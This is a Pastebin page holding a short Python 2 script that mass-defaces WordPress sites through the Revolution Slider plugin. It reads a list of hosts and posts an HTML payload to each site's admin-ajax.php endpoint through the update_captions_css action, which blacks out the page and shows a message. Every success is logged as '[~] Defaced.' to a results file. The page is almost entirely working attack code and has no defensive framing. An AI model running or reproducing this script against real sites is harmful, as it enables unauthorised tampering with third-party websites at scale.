SHARE
TWEET

Untitled

a guest Mar 27th, 2015 709 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. import urllib, urllib2, os, sys
  4. import cookielib
  5.  
  6. os.system('cls' if os.name == "nt" else 'clear' )
  7.  
  8. site = sys.argv[1]
  9.  
  10. def main():
  11.    
  12.     dname = raw_input('test user name: ')
  13.    
  14.     ajax = cookielib.CookieJar()
  15.     opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
  16.    
  17.     ency = urllib.urlencode({'action': "revslider_ajax_action",
  18.                             'client_action': "update_captions_css",
  19.                             'data': "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>CSS Update Test "+dname+"<p style='color: transparent'>",
  20.    
  21.                             })
  22.    
  23.     site_list = open(site, 'r')
  24.     box = site_list.read().splitlines()
  25.     for Url4 in box:
  26.         try:
  27.             url = "http://" + Url4 + "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css"
  28.             nox = urllib2.Request(url, ency)
  29.             data = opener.open(nox).read()
  30.             if 'succesfully' in data:
  31.                 ind = "[~] Defaced. =>> " + Url4
  32.                 print ind
  33.                 check = open('result.txt', 'a')
  34.                 check.write(Url4+"/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css")
  35.                 check.write("\n")
  36.                 check.close()
  37.                
  38.             else:
  39.                 print "Failed =>> " + Url4
  40.         except:
  41.             continue
  42.  
  43. main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top